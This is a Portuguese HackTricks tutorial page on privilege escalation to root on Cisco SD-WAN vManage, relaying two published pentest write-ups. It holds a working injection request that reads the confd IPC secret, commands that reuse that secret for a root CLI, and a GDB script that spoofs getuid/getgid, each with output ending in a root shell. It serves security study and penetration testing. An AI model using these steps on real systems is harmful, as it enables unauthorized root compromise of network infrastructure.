hacktricks/linux-hardening/privilege-escalation/cisco-vmanage.md
2024-12-12 13:56:11 +01:00

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# Cisco - vmanage
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## Path 1
(Exemplo de [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
Após investigar um pouco através de alguma [documentação](http://66.218.245.39/doc/html/rn03re18.html) relacionada ao `confd` e os diferentes binários (acessíveis com uma conta no site da Cisco), descobrimos que para autenticar o socket IPC, ele usa um segredo localizado em `/etc/confd/confd_ipc_secret`:
```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```
Lembre-se da nossa instância Neo4j? Ela está rodando sob os privilégios do usuário `vmanage`, permitindo-nos recuperar o arquivo usando a vulnerabilidade anterior:
```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```
O programa `confd_cli` não suporta argumentos de linha de comando, mas chama `/usr/bin/confd_cli_user` com argumentos. Portanto, poderíamos chamar diretamente `/usr/bin/confd_cli_user` com nosso próprio conjunto de argumentos. No entanto, não é legível com nossos privilégios atuais, então temos que recuperá-lo do rootfs e copiá-lo usando scp, ler a ajuda e usá-lo para obter o shell:
```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
```
## Path 2
(Exemplo de [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
O blog¹ da equipe synacktiv descreveu uma maneira elegante de obter um shell root, mas a desvantagem é que requer obter uma cópia do `/usr/bin/confd_cli_user`, que é legível apenas pelo root. Eu encontrei outra maneira de escalar para root sem esse incômodo.
Quando desmontei o binário `/usr/bin/confd_cli`, observei o seguinte:
```
vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3 mov %rax,%rbx
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
401669: 49 89 c4 mov %rax,%r12
40166c: 48 85 db test %rbx,%rbx
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
401674: 48 0f 44 d8 cmove %rax,%rbx
401678: 4d 85 e4 test %r12,%r12
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
401680: 4c 0f 44 e0 cmove %rax,%r12
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
4016ac: 48 85 c0 test %rax,%rax
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
4016ba: 48 89 c6 mov %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …
```
Quando eu executo “ps aux”, observei o seguinte (_note -g 100 -u 107_)
```
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
```
Eu hipotetizei que o programa “confd\_cli” passa o ID do usuário e o ID do grupo que coletou do usuário logado para o aplicativo “cmdptywrapper”.
Minha primeira tentativa foi executar o “cmdptywrapper” diretamente e fornecê-lo com `-g 0 -u 0`, mas falhou. Parece que um descritor de arquivo (-i 1015) foi criado em algum lugar ao longo do caminho e não consigo falsificá-lo.
Como mencionado no blog da synacktiv (último exemplo), o programa `confd_cli` não suporta argumentos de linha de comando, mas posso influenciá-lo com um depurador e, felizmente, o GDB está incluído no sistema.
Eu criei um script GDB onde forcei a API `getuid` e `getgid` a retornar 0. Como já tenho privilégio “vmanage” através da RCE de desserialização, tenho permissão para ler o `/etc/confd/confd_ipc_secret` diretamente.
root.gdb:
```
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
```
Saída do Console:
```
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```
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